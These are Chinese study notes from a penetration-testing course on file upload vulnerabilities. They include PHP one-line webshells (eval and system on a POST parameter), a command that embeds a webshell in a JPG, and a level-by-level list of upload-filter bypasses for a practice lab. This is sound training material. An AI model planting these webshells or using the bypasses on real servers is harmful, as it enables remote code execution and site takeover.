当前位置: 首页 > news >正文

【PTE-day06 文件上传】

1、知识

X-Forwarded-For:表示HTTP请求端的真实IP

文件上传漏洞(头像更改、发邮件、上传资料等)

1、利用文件上传功能上传恶意文件:一句话木马文件、反弹shell的exe
2、上传文件的路径可访问
3、上传文件所在的路径具备可执行权限

一句话木马
传参方式:POST GET REQUEST
<?php @eval($_POST['c']);?>
@:防报错
eval() :代码执行函数<?php @system($_POST['c']);?>#将木马写到图片中
copy a.jpg/b+muma.php/a muma.jpg

2、文件上传

(1)靶场

http://116.205.189.153:9003/Pass-01/index.php

💷第一关前端过滤
禁用js
修改后缀
💸第二关文件类型过滤
黑名单过滤
💳第三关畸形后缀名–php php3 php4 php5 phtml
🧾第四关.htaccess
💹第五关.user.ini
auto_prepend_file=muma.jpg
auto_append_file=muma.jpg
readme.php
💶第六关大小写绕过
windows特性绕过–目标服务器为Windows服务器
💵第七关后缀加空格 '.php '–>.php
💴第八关后缀加. .php. -->.php
🪙第九关后缀加::$DATA
💰第十关后缀加. .
📆第十一关双写绕过

相关文章:

  • Spring boot集成sentinel限流服务
  • react typescript @别名的使用
  • 【面经】讲一下线程池的参数和运行原理
  • Flutter IOS 前后台切换主题自动变化的问题
  • 鸿蒙列表,类似于安卓的RecyclerView
  • 虚拟机Linux-Centos系统网络配置常用命令+Docker 的常用命令
  • 2023年11月编程语言流行度排名
  • 写论文中的心得记录
  • AVL树 c语言版本 插入部分
  • 01-基于IDEA,Spring官网,阿里云官网,手动四种方式创建SpringBoot工程
  • 5分钟Python安装实战(MAC版本)
  • MapReduce:大数据处理的范式
  • Naocs配置中心配置映射List、Map、Map嵌套List等方式
  • Chatgpt人工智能对话源码系统分享 带完整搭建教程
  • lua脚本实现redis分布式锁(脚本解析)
  • 实现windows 窗体的自己画,网上摘抄的,学习了
  • Babel配置的不完全指南
  • Electron入门介绍
  • Hibernate最全面试题
  • iOS筛选菜单、分段选择器、导航栏、悬浮窗、转场动画、启动视频等源码
  • Javascripit类型转换比较那点事儿,双等号(==)
  • Java的Interrupt与线程中断
  • 大型网站性能监测、分析与优化常见问题QA
  • 开放才能进步!Angular和Wijmo一起走过的日子
  • 看完九篇字体系列的文章,你还觉得我是在说字体?
  • 如何使用 OAuth 2.0 将 LinkedIn 集成入 iOS 应用
  • 什么软件可以剪辑音乐?
  • 世界上最简单的无等待算法(getAndIncrement)
  • 职业生涯 一个六年开发经验的女程序员的心声。
  • ​flutter 代码混淆
  • #pragma 指令
  • #多叉树深度遍历_结合深度学习的视频编码方法--帧内预测
  • (4)Elastix图像配准:3D图像
  • (52)只出现一次的数字III
  • (k8s中)docker netty OOM问题记录
  • (超简单)构建高可用网络应用:使用Nginx进行负载均衡与健康检查
  • (附源码)springboot 房产中介系统 毕业设计 312341
  • (论文阅读30/100)Convolutional Pose Machines
  • (每日持续更新)jdk api之FileFilter基础、应用、实战
  • (十三)Java springcloud B2B2C o2o多用户商城 springcloud架构 - SSO单点登录之OAuth2.0 根据token获取用户信息(4)...
  • (四)TensorRT | 基于 GPU 端的 Python 推理
  • (一)Neo4j下载安装以及初次使用
  • (转)AS3正则:元子符,元序列,标志,数量表达符
  • .[hudsonL@cock.li].mkp勒索加密数据库完美恢复---惜分飞
  • .bat批处理(五):遍历指定目录下资源文件并更新
  • .Net CoreRabbitMQ消息存储可靠机制
  • .Net各种迷惑命名解释
  • @Autowired和@Resource装配
  • @EnableAsync和@Async开始异步任务支持
  • @JSONField或@JsonProperty注解使用
  • @Responsebody与@RequestBody
  • [bzoj1912]异象石(set)
  • [bzoj4240] 有趣的家庭菜园
  • [C#小技巧]如何捕捉上升沿和下降沿
  • [Editor]Unity Editor类常用方法